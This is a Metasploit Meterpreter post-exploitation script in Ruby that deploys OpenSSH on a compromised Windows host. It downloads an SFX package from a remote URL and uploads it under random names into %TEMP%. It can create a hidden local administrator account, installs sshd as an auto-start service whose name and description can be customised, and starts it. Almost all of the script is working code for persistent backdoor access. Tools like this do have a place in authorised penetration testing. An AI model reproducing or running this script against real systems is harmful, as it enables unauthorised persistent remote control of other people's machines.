# win32-sshserver.rb
#
# $Id$
# $Revision$
#
# meterpreter-script to deploy + run OpenSSH
# on the target machine
#
# written by Oliver "illegalguy" Kleinecke
# v.1.0 2010-04-25
#

require 'net/http'
meter_type = client.platform
#
# Options
#

@@exec_opts = Rex::Parser::Arguments.new(
	"-h"  => [ false, "This help menu"],
	"-f"  => [ true,  "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"],
	"-U"  => [ true, "Download OpenSSH-SFX from given URL"],
	"-u"  => [ true, "Add windows-user (autoadded to local administrators"],
	"-p"  => [ true, "Password for the new user"],
	"-r"  => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"],
	"-I"  => [ true, "Install OpenSSH to the given directory"],
	"-F"  => [ false, "Force overwriting of registry-values"],
	"-S"  => [ true, "Set custom service description"],
	"-N"  => [ true, "Set custom service name"],
	"-m"  => [ true, "Do not start the OpenSSH-service after installation"],
	"-t"  => [ true, "Set start-type of the service to manual (Default: auto)"]
	)

def usage
	print_line("OpenSSH-server deploy+run script")
	print_line("This script will deploy OpenSSH + run the SSH-server as a service")
	print_line(@@exec_opts.usage)
	raise Rex::Script::Completed
end

def createkey(key)
	root_key, base_key = client.sys.registry.splitkey(key)
	open_key = client.sys.registry.create_key(root_key, base_key)
end

def deletekey(key)
	root_key, base_key = client.sys.registry.splitkey(key)
	rtrncode = client.sys.registry.delete_key(root_key, base_key)
	return rtrncode
end

def setval(key, value, data, type = "REG_SZ")
	root_key, base_key = client.sys.registry.splitkey(key)
	open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE)
	open_key.set_value(value, client.sys.registry.type2str(type), data)
end

def queryval(key, value)
	root_key, base_key = client.sys.registry.splitkey(key)
	hkey = client.sys.registry.open_key(root_key, base_key)
	valdata = hkey.query_value(value)
	return valdata.data
end

# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
	print_error("#{meter} version of Meterpreter is not supported with this Script!")
	raise Rex::Script::Completed
end

#
# Default values
#
extractfilename = File.join(Msf::Config.data_directory, "/openssh-extract.sfx")
manual = false
username = "none"
password = nil
downloadurl = 'http://updates.metasploit.com/data/win32-ssh/openssh.sfx'
uninstall = nil
installpath = nil
license = 'Please go to https://olex.openlogic.com/licenses/openssh-license for license information!'
extractexe = nil
warning = 'Script stopped. There are openssh/cygwin-registrykeys on the target host. Please uninstall the service(s) first, or use -F!'
forced = nil
servicename = "OpenSSHd"
servicedesc = "OpenSSH-Server"
noauto = false
dirname = nil
type = "auto"


#
# Option parsing
#
@@exec_opts.parse(args) { |opt, idx, val|
	case opt
		
	when "-h"
		usage
		
	when "-f"
		if !val
			print_error("-f requires the SFX-filename as argument !")
			usage
		end
		extractfilename = val
		if not ::File.exists?(extractfilename)
			print_error("OpenSSH-SFX not found/accessible!")
			usage
		end
		manual = true
		
	when "-U"
		if !val
			print_error("-U requires the download-URL for the OpenSSH-SFX as argument !")
			usage
		end
		downloadurl = val
		
	when "-p"
		if !val
			print_error("-p requires the password (for the windows-user to add) as argument !")
			usage
		end
		if val.length > 14
			print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !")
			usage
		end
		password = val
		
	when "-u"
		if !val
			print_error("-u requires the username (for the windows-user to add) as argument!")
			usage
		end
		username = val
		
	when "-r"
		uninstall = true
		
	when "-I"
		if !val
			print_error("-I requires a directory-name to use as installpath")
			usage
		end
		dirname = val
		
	when "-F"
		forced = true
		
	when "-S"
		if !val
			print_error("-S requires s custom string to use as the service-description")
			usage
		end
		servicedesc = val
		
	when "-N"
		if !val
			print_error("-N requires a custom string to use as service-name")
			usage
		end
		servicename = val
		
	when "-m"
		noauto = true
		
	when "-t"
		type = manual
		
	else
		print_error("Unknown option: #{opt}")
		usage
	end
}

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i

#
# Uninstall if selected
#
if uninstall
	username = nil
	servicename = nil
	begin
		dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native")
	rescue
		print_status("Could not find any sshd installed by this script. Please remove manually!")
		deletekey("HKLM\\Software\\Cygnus\ Solutions")
		raise Rex::Script::Completed
	end
	uninstallfile = "#{dirname}\\etc\\uninst.bak"
	uf = client.fs.file.new(uninstallfile, "rb")
	while not uf.eof?
		linesarray = uf.read.split("\r\n")
		username = linesarray[0]
		servicename = linesarray[1]
	end
	uf.close
	# stop sshd-service, delete it, delete user + files afterwards
	print_status("Stopping the #{servicename}-service....")
	client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}")
	sleep 2
	print_status("#{servicename} has been stopped.")
	print_status("Deleting the #{servicename}-service....")
	client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}")
	sleep 1
	print_status("#{servicename} has been deleted.")
	unless username.strip == "none"
		print_status("Deleting user #{username}......")
		client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE")
		print_status("User #{username} has been deleted")
	end
	print_status("Deleting the directory #{dirname}....")
	client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}")
	print_status("#{dirname} has been deleted.")
	print_status("Deleting regkeys ....")
	deletekey("HKLM\\Software\\Cygnus\ Solutions")
	print_status("Registry-keys have been deleted .")
	print_status("Uninstall completed!")
	raise Rex::Script::Completed
end

#
# Check for OpenSSH/Cygwin - Regkeys first and bail out if they exist
#
root_key, base_key = client.sys.registry.splitkey("HKLM\\Software\\Cygnus\ Solutions")
open_key = client.sys.registry.open_key(root_key, base_key)
keys = open_key.enum_key
if ( keys.length > 0)
	if not forced
		print_error(warning)
		raise Rex::Script::Completed
	end
end

#
# If file doesn`t exist and file was not manually specified : auto-download
#

if manual == false
	if not ::File.exists?(extractfilename)
		print_status("openssh-extract.sfx could not be found. Downloading it now...")
		print_status(license)
		extractexe = Net::HTTP.get URI.parse(downloadurl)
		open(extractfilename, "wb") { |fd| fd.write(extractexe) }
		print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.")
		downloaded = true
	end
end

#
# Generate sshd-dir + upload file to client
#
if dirname == nil
	dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}"
	print_status("Creating directory #{dirname}.....")
	client.fs.dir.mkdir(dirname)
else
	if  !::File.exists?(dirname) && !::File.directory?(dirname)
		print_status("Creating directory #{dirname}.....")
		client.fs.dir.mkdir(dirname)
	end
end
fileontrgt = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.exe"
print_status("Uploading #{extractfilename} to #{fileontrgt}....")
client.fs.file.upload_file(fileontrgt, extractfilename)
print_status("#{extractfilename} successfully uploaded to #{fileontrgt}!")


# Get required infos about the target-system
clientenv = Hash.new
envtxtname = "#{dirname}\\#{rand(36 ** 8).to_s(36).rjust(8,"0")}.txt"
client.sys.process.execute("cmd.exe", "/c set > #{envtxtname}")

fd = client.fs.file.new(envtxtname, "rb")
while not fd.eof?
	linesarray = fd.read.split("\r\n")
	linesarray.each { |line|
		currentline = line.split('=')
		envvarname = currentline[0]
		envvarvalue = currentline[1]
		clientenv[envvarname] = envvarvalue
	}
end
fd.close

# Do not continue if client-os is not valid

unless clientenv["OS"] == 'Windows_NT'
	print_error("This script will run on Windows-NT based OS only!")
	raise Rex::Script::Completed
end


# Extract the files

print_status("Extracting the files ...")
client.sys.process.execute(fileontrgt)
sleep 3
print_status("Files extracted .. ")

#
# Import required registry keys
#
homebase = clientenv["ALLUSERSPROFILE"].slice(0,clientenv["ALLUSERSPROFILE"].rindex('\\'))

createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native", dirname)
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "native", homebase)
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/home", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "native", "#{dirname}/bin")
setval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/usr/bin", "flags", 10, "REG_DWORD")
createkey("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\Program Options")

#
# Provide ACL for System User
#
client.sys.process.execute("cacls.exe", "#{dirname} /E /T /G SYSTEM:F")

#
# Add windows-user if requested
#
unless username == "none"
	if password == nil
		print_error("You need to provide a nonempty password for the user with the \"-p\"-parameter!")
		usage
	end
	
	#Get localized name for windows-admin-grp
	admingrpname = nil
	client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\groupnames.txt")
	sleep 1
	fd = client.fs.file.new("#{dirname}\\groupnames.txt", "rb")
	while not fd.eof?
		linesarray = fd.read.split("\n")
		linesarray.each { |line|
			if line[0..4] =~ /[aA]dmin/
				admingrpname = line.slice!(/[aA]dmin[a-z]+/)
			end
		}
	end
	fd.close
	sleep 2
	client.fs.file.rm("#{dirname}\\groupnames.txt")
	print_line("Adding user #{username}....")
	client.sys.process.execute("cmd.exe", "/c net user #{username} #{password} /ADD /HOMEDIR:#{dirname}")
	print_line("Add user #{username} to #{admingrpname}")
	client.sys.process.execute("cmd.exe", "/c net localgroup #{admingrpname} #{username} /ADD")
end

#
# Generate /etc/passwd + /etc/group files
#
print_status("Generating /etc/passwd + /etc/group files....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkpasswd.exe -l > #{dirname}\\etc\\passwd")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\mkgroup.exe -l > #{dirname}\\etc\\group")

#
# Generate SSH-keypairs
#
print_status("Generating SSH-keys .....")
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t dsa -f /etc/ssh_host_dsa_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa1 -f /etc/ssh_host_key -N \"\"")
sleep 1
client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\ssh-keygen.exe -t rsa -f /etc/ssh_host_rsa_key -N \"\"")

#
# Add OpenSSH - Service
#
print_status("Adding OpenSSHd-Service.......")
if type == manual
	client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --type manual --disp \"#{servicedesc}\"")
else
	client.sys.process.execute("cmd.exe", "/c #{dirname}\\bin\\cygrunsrv.exe --install #{servicename} --path /usr/sbin/sshd --args \"-D\" --dep \"Tcpip\" --stderr \"/var/log/opensshd.log\" --env \"CYGWIN=binmode ntsec tty\" --disp \"#{servicedesc}\"")
end
print_status("Service successfully installed!")
sleep 2

#
# Save "settings" to txtfile, to be able to del correct user etc afterwards
#
uninstallfile = "#{dirname}\\etc\\uninst.bak"
uf = client.fs.file.new(uninstallfile, "w")
uf.write "#{username} \r\n"
uf.write "#{servicename} \r\n"
uf.close


# Run OpenSSH-service unless noauto was specified
unless noauto
	print_status("Starting OpenSSH-Service....")
	client.sys.process.execute("cmd.exe", "/c net start #{servicename}")
	sleep 1
	print_status("OpenSSHd has been started!")
end

# Display OpenSSH-Hostkey, so that user may pass this to sshclient-script directly